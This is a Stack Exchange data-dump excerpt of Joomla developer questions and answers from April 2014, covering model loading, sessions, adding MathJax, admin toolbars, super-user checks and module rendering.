  <row Id="382" PostTypeId="1" AcceptedAnswerId="384" CreationDate="2014-04-26T16:48:24.153" Score="2" ViewCount="958" Body="&lt;p&gt;I'm using a model of other component in my component. I'm following this &lt;a href=&quot;https://joomla.stackexchange.com/questions/189/how-can-i-use-a-model-of-other-component-in-my-component&quot;&gt;solution&lt;/a&gt;. But, when I try to call the &lt;code&gt;getItem&lt;/code&gt; method of the model I get the error &quot;Call to a member function load() on a non-object&quot;. In the model, the lines that cause the error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ...&#xA;    $table = $this-&amp;gt;getTable();&#xA;&#xA;    // Attempt to load the row.&#xA;    $return = $table-&amp;gt;load($itemId);&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-04-26T17:14:42.233" Title="Error when calling getItem method of external model" Tags="|component|development|model|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="383" PostTypeId="2" ParentId="371" CreationDate="2014-04-26T17:06:30.547" Score="2" Body="&lt;p&gt;We use a module called &quot;Blank Module&quot;, which allows to put any script (PHP, Java, CSS, HTML, whatever) and choose where to load it (head, body, end of body, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free, and I found it totally useful:&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules/3668&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules/3668&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move scripts from the  to below the body it is a little bit more work. Use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;?php&#xA;$head = $doc-&gt;getHeadData();&#xA;// Remove Scripts&#xA;unset($doc-&gt;_scripts[JURI::root(true) . '/media/system/js/mootools-more.js']);&#xA;?&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add one &quot;unset&quot; line for each script you need to remove from head.&#xA;Then add it to the blank module loading at the bottom (debug position?).&#xA;One plus, if you make different blank modules is that you can only load scripts where needed (like, an module instance only for motools, loading it only on a specific page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For styles, you can also use Blank Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="126" LastEditDate="2015-11-02T11:50:56.677" LastActivityDate="2015-11-02T11:50:56.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="384" PostTypeId="2" ParentId="382" CreationDate="2014-04-26T17:14:42.233" Score="7" Body="&lt;p&gt;You may need to import the table classes also.  Try calling &lt;code&gt;JTable::addIncludePath(/path/to/other/component/tables);&lt;/code&gt; to bring them in.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-04-26T17:14:42.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="385" PostTypeId="2" ParentId="331" CreationDate="2014-04-26T17:18:31.477" Score="2" Body="&lt;p&gt;It is not advisable to use the root MySQL password (or any user with such high permissions) just to skip the database creation. On cPanel you can create one in under 30 sec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are installing multiple Joomla instances on a single database (with different prefixes), please, create a separate user for each site, for added security. A single database can have multiple users associated to it, so, if one site config leaks (hacked, whatever), you can just revoke this user, instead of having to mess with all other instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no such thing as &quot;secure enough&quot;, much less something even remotely resempling &quot;easy recurity&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yeah, web is tough. Human up!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(better start using gender neutral now).&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-04-26T17:18:31.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="386" PostTypeId="2" ParentId="376" CreationDate="2014-04-26T19:10:58.230" Score="1" Body="&lt;p&gt;My recommendation would be to use sh404sef and always pin an itemid to URLs without one. See &quot;Item Id Management&quot; as a part of it's configuration: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://anything-digital.com/sh404sef/docs/configuration.html&quot; rel=&quot;nofollow&quot;&gt;http://anything-digital.com/sh404sef/docs/configuration.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-04-26T19:10:58.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="387" PostTypeId="2" ParentId="372" CreationDate="2014-04-26T19:23:10.783" Score="3" Body="&lt;p&gt;I had this happen on my XAMPP on a (rather slow) laptop. Basically the script times out while waiting for MySQL.&#xA;Increasing &lt;code&gt;max_execution_time&lt;/code&gt; solved the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-26T19:23:10.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="388" PostTypeId="2" ParentId="371" CreationDate="2014-04-26T19:28:33.690" Score="6" Body="&lt;p&gt;JDocument-&gt;addScript() has options to defer the loading of the script and/or load it async. See the API doc: &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JDocumentHTML.html#method_addScript&quot;&gt;http://api.joomla.org/cms-3/classes/JDocumentHTML.html#method_addScript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow the browser to load the scripts later in the process, which will help with the pageload time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no API to load the scripts at the bottom of the page. If you need that, you have to use 3rd party extensions or add it to the template directly.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-26T19:28:33.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="389" PostTypeId="2" ParentId="8" CreationDate="2014-04-26T20:19:44.603" Score="0" Body="&lt;p&gt;An override should not be changing in any Joomla version. However, if you find any files changed, what you could do is manage the whole Joomla installation in subversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then also manage the appropriate Joomla code versions in subversion and do a vendor-merge &lt;a href=&quot;http://svnbook.red-bean.com/en/1.7/svn.advanced.vendorbr.html&quot; rel=&quot;nofollow&quot;&gt;http://svnbook.red-bean.com/en/1.7/svn.advanced.vendorbr.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-04-26T20:19:44.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="390" PostTypeId="2" ParentId="349" CreationDate="2014-04-27T00:03:54.240" Score="2" Body="&lt;p&gt;I &lt;strong&gt;&lt;em&gt;think&lt;/em&gt;&lt;/strong&gt; I wanted to do something like this, i.e., extend Joomla class, using plugins.  I decided not to pursue the idea but I did find the article &quot;&lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://www.informit.com/articles/article.aspx?p=1858258&amp;amp;seqNum=8&quot; rel=&quot;nofollow&quot;&gt;Extending Joomla! With Plugins&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&quot; helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps great.  If not, Oh Well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="84" LastActivityDate="2014-04-27T00:03:54.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="391" PostTypeId="1" AcceptedAnswerId="397" CreationDate="2014-04-27T00:55:07.343" Score="6" ViewCount="555" Body="&lt;p&gt;I've been wondering this for a while now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences between Joomla sessions and php sessions? Are they interchangeable?&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-30T18:02:27.770" Title="What differences (if any) are there between Joomla sessions and php sessions?" Tags="|cms|session|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="392" PostTypeId="2" ParentId="391" CreationDate="2014-04-27T01:27:43.147" Score="3" Body="&lt;p&gt;Joomla uses the PHP session functions to create its &lt;code&gt;JSession&lt;/code&gt; object, but it provides wrapper functions and namespaces the session to keep the data segregated. If you dump the PHP superglobal &lt;code&gt;$_SESSION&lt;/code&gt; you will see the Joomla session items.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-27T01:27:43.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="393" PostTypeId="2" ParentId="360" CreationDate="2014-04-27T02:08:32.040" Score="3" Body="&lt;p&gt;I don't suppose you've looked at Watchful.li yet? We manage 200+ sites on a regular basis with extension and joomla updates. Watchful is designed to help manage this exact scenario pretty well. It's a newer service and they're regularly adding new features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of your listed requirements, Watchful.li does all the things you want:&#xA;1) Automated Updates via centralized control panel &#xA;2) Remote install extensions&#xA;3) Automated Backups via Akeeba&#xA;4) custom scripting / plugins possible&#xA;5) tons more features&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a potential drawback I see is that if you're interested in giving clients access to their own closed-off part of this control panel I don't see that being possible yet, but it'd be a good feature to ask them about implementing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are in the process of putting about 200 sites on this solution. We have about 50 currently and we're moving more over as we're able. I'm expecting to reduce a lot of our staff time by moving over to Watchful and increase productivity as a result. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-04-27T02:08:32.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="394" PostTypeId="2" ParentId="331" CreationDate="2014-04-27T02:17:05.070" Score="1" Body="&lt;p&gt;The answer to this question is purely based on your environment. If you're using a username and password that has the role to create databases, then you won't need to create a database beforehand. In this case no, it's not required to create the database ahead of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second case, I believe most shared hosts are not going to give you access to a user like that, so you'll have to create a new database user, password, and authorise that user on a new database. So in this case yes, it is required to create the database ahead of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no constantly correct answer here. It's all about environment, and more so best practices. In my opinion I don't want a database user to have access to more than just one database. It prevents that user from being able to do things it shouldn't. In the case of a breach in security of some sort, ideally that user is contained to a smaller area where damage can be done. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-04-27T02:17:05.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="395" PostTypeId="2" ParentId="305" CreationDate="2014-04-27T09:14:20.983" Score="0" Body="&lt;p&gt;Check whether you installing or getting files from remote server after your component installed or before install. if yes then check your url path is incorrect ..am sure your url may be incorrect&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-04-27T09:14:20.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="396" PostTypeId="2" ParentId="365" CreationDate="2014-04-27T09:27:29.780" Score="0" Body="&lt;p&gt;Haven't seen that Jimport in any of the components in J3. The Legacy tree has been introduced to continue to use extensions built the old way. It will probably stay with us for a long time. Even when distribution packages won't provide it anymore, it will still be possible to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both JIssues and the Joomla installation are examples of using the new MVC structure. Also components like com_config use it.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-27T09:27:29.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="397" PostTypeId="2" ParentId="391" CreationDate="2014-04-27T12:34:05.447" Score="6" Body="&lt;p&gt;&lt;strong&gt;JSession is based on the standard PHP session handling mechanism&lt;/strong&gt; but I would not say they are interchangeable, as Joomla is directly &quot;talking&quot; to JSession and not to the super global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In backend you select a session handler (the default being the database) where Joomla will store session related informations, basically it's serializing the content of &lt;code&gt;$_SESSION&lt;/code&gt; itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a cookie is sent, no actual readable data is stored, just a session identifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also provides a very simple, namespaced interface to store and retrieve data from the user session. Read an entire article about this on &lt;a href=&quot;http://www.ostraining.com/blog/how-tos/development/how-to-use-sessions-in-joomla/&quot; rel=&quot;nofollow&quot;&gt;ostraining&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-04-30T18:02:27.770" LastActivityDate="2014-04-30T18:02:27.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="398" PostTypeId="2" ParentId="244" CreationDate="2014-04-27T12:40:16.260" Score="1" Body="&lt;p&gt;The problem only appears on certain servers, for reasons I don't yet know exactly.&#xA;On my servers it works without issues, but a friend had this problem as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done a PR which I believe will solve the issue, see &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3467&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/3467&lt;/a&gt;. If someone who has this problem can test this patch and see if it fixes the issue, then that would be great :-)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-27T12:40:16.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="399" PostTypeId="1" AcceptedAnswerId="400" CreationDate="2014-04-27T12:41:17.310" Score="6" ViewCount="1637" Body="&lt;p&gt;I would like to add MathJax functionality to my website but I have no idea how to go about doing so.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does this require using a specific template or modifying an existing one? (I'm currently using &lt;a href=&quot;http://www.lernvid.com/downloads/allrounder-joomla-16-template.html&quot; rel=&quot;noreferrer&quot;&gt;AllRounder&lt;/a&gt; if the answer is template specific.)&lt;/li&gt;&#xA;&lt;li&gt;Do I need to use a different editor? (I'm currently using JCE Editor)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Presently, the website content management is done exclusively by me on the administrative side, although I don't know if that matters.  (Perhaps there is a situation where a website would want to restrict MathJax use to certain privileged users?)&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="140" LastEditDate="2014-04-29T12:40:29.460" LastActivityDate="2021-04-21T08:53:40.303" Title="Adding Mathjax to a Joomla website" Tags="|joomla-2.5|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="400" PostTypeId="2" ParentId="399" CreationDate="2014-04-27T13:22:33.077" Score="6" Body="&lt;p&gt;All you need is a plugin. You can write a content plugin adding a onContentPrepare method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0)&#xA;    {   &#xA;            $doc = JFactory::getDocument();&#xA;            $doc-&amp;gt;addScript(&quot;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can use the &lt;a href=&quot;http://jextbox.com/jextbox-equation.html&quot; rel=&quot;noreferrer&quot;&gt;jexbox&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @Anibal answer, you can edit the template file. I'm improving the @Anibal answer to support your code &lt;code&gt;$\frac{a}{b}$&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    &amp;lt;script type=&quot;text/x-mathjax-config&quot;&amp;gt;&#xA;        MathJax.Hub.Config({&#xA;            tex2jax: {inlineMath: [['$','$'], ['\\(','\\)']]}&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&#xA;        src=&quot;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&quot;&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;shadow&quot;&amp;gt;&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditDate="2014-04-27T15:53:40.970" LastActivityDate="2014-04-27T15:53:40.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="401" PostTypeId="2" ParentId="399" CreationDate="2014-04-27T13:38:19.303" Score="4" Body="&lt;p&gt;There are several ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. &lt;strong&gt;At template level&lt;/strong&gt;: Access your template, and add the Mathjax cdn line in the head area. E.g. In beez3 template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;templates/beez3/index.php, line 85&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&#xA;      src=&quot;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&quot;&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body id=&quot;shadow&quot;&amp;gt;&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;B. &lt;strong&gt;With a Custom HTML module&lt;/strong&gt;: You can add a couple of PHP source code lines in a custom scripting module. In this way you can assign the Mathjax cdn script to specific menus. For example, with NoNumber Sourcerer &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;&#xA;    $doc = JFactory::getDocument();&#xA;    $doc-&amp;gt;addScript('http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML', 'text/javascript');&#xA;&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-27T13:38:19.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="402" PostTypeId="1" CreationDate="2014-04-27T16:21:45.027" Score="10" ViewCount="3890" Body="&lt;p&gt;I am developing a mvc component for both joomla 2.5 and 3.In many components i saw they added joomla's default command buttons like new, edit, publish, trash, options at top of their settings page in admin side. Eg. if one goes components-&gt;weblinks-&gt;links page, i am talking about those command buttons at top right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do i add those command buttons in my component's settings page? when clicked it would do respective action and show respective view.For instance, if i click &quot;new&quot; button it will display my mvc component's add entry view as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how could i add fully workable joomla's command buttons in my component's settings page in admin side.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2014-04-27T16:36:56.010" LastActivityDate="2014-05-08T13:13:35.277" Title="Adding joomla's default toolbar in a component view page" Tags="|component|php|joomla-3.x|joomla-2.5|mvc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="403" PostTypeId="2" ParentId="402" CreationDate="2014-04-27T17:40:21.363" Score="12" Body="&lt;p&gt;The best practice is to create the &lt;code&gt;addToolBar()&lt;/code&gt; method inside your View class and then using &lt;code&gt;JToolBarHelper&lt;/code&gt; class to create command buttons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function addToolBar()&#xA;{&#xA;  JToolBarHelper::addNew('yourcontroller.add');&#xA;  JToolBarHelper::editList('yourcontroller.edit');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So these will call the task/function &quot;add&quot;/&quot;edit&quot; in your specified controller. Then simply call &lt;code&gt;$this-&amp;gt;addToolBar()&lt;/code&gt; in your View's &lt;code&gt;display()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference &lt;a href=&quot;http://docs.joomla.org/Creating_a_toolbar_for_your_component&quot;&gt;Creating a toolbar for your component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-27T17:40:21.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="404" PostTypeId="1" CreationDate="2014-04-27T23:03:20.027" Score="3" ViewCount="744" Body="&lt;p&gt;As my question implies what i want, i used google to search through the web to get correct answer though simple about how to verify if current logged in user is super user or not in both joomla 2.5 and 3 versions. &#xA;I found these codes - &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$user  = JFactory::getUser();&lt;br&gt;&#xA;  $isroot = $user-&gt;get('isRoot');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;if $isroot is 1 then the user is super user. Does it appropriate and error free all the ways?? &lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="3" LastEditDate="2014-04-28T07:58:42.047" LastActivityDate="2014-04-28T07:58:42.047" Title="Correct way to verify if the logged in user is super user" Tags="|php|joomla-2.5|joomla-api|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="405" PostTypeId="2" ParentId="404" CreationDate="2014-04-28T00:56:03.613" Score="8" Body="&lt;p&gt;That will work if &lt;code&gt;isRoot&lt;/code&gt; has been set.  But, it requires a call to &lt;code&gt;JUser::authorise()&lt;/code&gt; having been completed first.  This snippet would work at all times:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;$user = JFactory::getUser();&lt;/p&gt;&#xA;&lt;p&gt;$isroot = $user-&amp;gt;authorise('core.admin');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="111" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-04-28T00:56:03.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="406" PostTypeId="2" ParentId="364" CreationDate="2014-04-28T03:27:02.100" Score="2" Body="&lt;p&gt;Bases on what I've seen, there are a few ways for session data to &quot;go missing&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The first way is exactly what people have mentioned or suggested already.  This is where you hit the session timer boundary.  Once the session timer is reached, the session is cleared from memory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you log out, your session data is cleared.  It depends on which log out function is called and which version of Joomla.  I've seen some instances where only the Joomla Session part is cleared.  I've also seen instances where the entire $_SESSION global is cleared.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have also seen some instances of trying to store session data via the Joomla APIs not store anything at all or it stores it in a place you don't expect.  After you set a session variable, dump the session to make sure it is set and where you think it is.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This one is more common for random missing session data.  This is when you hit the www/non-www or the http/https boundary.  Apache (the primary web server for Joomla sites) sometimes gets confused when the same browser crosses the www/non-www or http/https boundary.  Some set ups handle it just fine, others don't but it is pretty common.  Here's the interesting part, it doesn't even have to be the main link they are linking to that crosses that bridge, it could be an included CSS, JS file, image, etc on the same page that is across the www/non-www or http/https bridge that could be causing the problem.  That is very rare these days but I've seen it on more than one site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These are the only ways I can think of off the bat that could show this behavior.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-04-28T03:27:02.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="407" PostTypeId="1" CreationDate="2014-04-28T07:22:00.053" Score="3" ViewCount="140" Body="&lt;p&gt;I need to display a module in administrator side by getting the module using it's module position (see the code below). I am having error &amp;amp; doubt is using the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;$renderer = $document-&amp;gt;loadRenderer('module');&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;code&gt;JDocumentRenderer&lt;/code&gt; is not working in Joomla latest version 3.x. I also referred the &lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JDocumentRenderer does not extend JObject anymore. You must not use any of JObject's methods&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I need to render the module...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$modules = JModuleHelper::getModules(&quot;dashboard_main&quot;);&#xA;$document   = JFactory::getDocument();&#xA;$renderer   = $document-&amp;gt;loadRenderer('module');&#xA;$attribs    = array();&#xA;$attribs['style'] = 'xhtml';&#xA;&#xA;foreach($modules as $mod){&#xA;&#xA;   // this code is not rendering the module&#xA;   echo $renderer-&amp;gt;render($mod, $attribs);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastEditorUserId="168" LastEditDate="2014-07-31T15:03:08.747" LastActivityDate="2014-07-31T15:03:08.747" Title="Which class method should I use for deprecated JDocumentRenderer-&gt;render();" Tags="|module|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="408" PostTypeId="2" ParentId="407" CreationDate="2014-04-28T07:48:35.103" Score="8" Body="&lt;p&gt;Instead of &lt;code&gt;JDocumentRenderer&lt;/code&gt; you should use &lt;code&gt;JModuleHelper&lt;/code&gt; to render modules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($modules as $mod)&#xA;{&#xA;   echo JModuleHelper::renderModule($mod, $attribs);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/libraries/cms/module/helper.php#L139&quot;&gt;renderModule()&lt;/a&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-28T07:48:35.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="409" PostTypeId="2" ParentId="399" CreationDate="2014-04-28T08:05:17.887" Score="2" Body="&lt;p&gt;I have copied and pasted&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;application/javascript&amp;quot; src=&amp;quot;https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;just before &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag in the PHP template principal page file.&lt;/p&gt;&#xA;&lt;p&gt;Then, it was enough for me to use MathJaX delimiters inside articles.&lt;/p&gt;&#xA;&lt;p&gt;It just works, and in the usual nice way.&lt;/p&gt;&#xA;&lt;p&gt;Answer edited after &lt;a href=&quot;http://www.mathjax.org/changes-to-the-mathjax-cdn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;some changes&lt;/a&gt; occurred in 2014/15.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2021-04-21T08:53:40.303" LastActivityDate="2021-04-21T08:53:40.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="410" PostTypeId="1" CreationDate="2014-04-28T10:23:59.407" Score="7" ViewCount="1444" Body="&lt;p&gt;This is a followup of the question &lt;a href=&quot;https://joomla.stackexchange.com/questions/216/how-can-a-module-be-disabled-based-on-device-or-viewport-size-in-joomla-3-to-opt&quot;&gt;How can a module be disabled based on device or viewport size in Joomla 3 to optimize performance for mobile devices?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use com_ajax to load and unload a module?&#xA;The call can be made using either pure javascript or jquery, and it will be based on viewport size (we are using mediacheck.js for that: &lt;a href=&quot;https://github.com/sparkbox/mediaCheck&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/sparkbox/mediaCheck&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on where this answer goes, we may even [get our dev to] put a component together to allow this kind of dynamic loading (choose breakpoints, choose what modules to load/unload).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Justification:&#xA;Responsive/Adaptive (choose your flavor) is essential nowadays, and so is reducing load size for mobile (slow 3G speed if on a good reception area, here in Brazil). If I can use 10~15k of jQuery/Javascript to avoid loading 20~200k of a module (modules can contain images, so, yes, can reach a fairly big size), I'm all for it.&#xA;Reducing screen clutter is also a must on a good mobile design. We can even argue that this is &quot;mobile first&quot;, because we design without the module, then load it as screen size allows.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-04-28T13:33:53.780" Title="How can I use com_ajax to load and unload another module (for Adaptive Design)" Tags="|ajax|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
